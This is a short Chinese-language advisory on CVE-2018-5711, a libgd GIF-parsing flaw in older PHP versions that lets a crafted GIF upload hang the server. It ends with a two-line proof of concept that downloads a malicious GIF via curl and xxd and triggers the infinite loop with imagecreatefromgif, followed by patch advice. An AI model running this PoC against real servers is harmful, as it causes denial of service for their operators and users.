php漏洞 GD库导致服务器宏机CVE-2018-5711

gd_gif_in.c in the GD Graphics Library (aka libgd), as used in PHP before 5.6.33, 7.0.x before 7.0.27, 7.1.x before 7.1.13, and 7.2.x before 7.2.1, has an integer signedness error that leads to an infinite loop via a crafted GIF file, as demonstrated by a call to the imagecreatefromgif or imagecreatefromstring PHP function. This is related to GetCode_ and gdImageCreateFromGifCtx.

php版本号在PHP before 5.6.33, 7.0.x before 7.0.27, 7.1.x before 7.1.13, and 7.2.x before 7.2.1,

在这些以前的都有gif动态文件漏洞

如果任意用户在有权限上传gif动态图形文件的情况下，上传了含恶意代码的gif文件，那么，服务器将会宏机。

详见php官方

$ curl -L https://git.io/vN0n4 | xxd -r > poc.gif
$ php -r 'imagecreatefromgif("poc.gif");'
请勿在使用中系统进行测试
 
补丁修复只需更新php版本，详见官方更新日记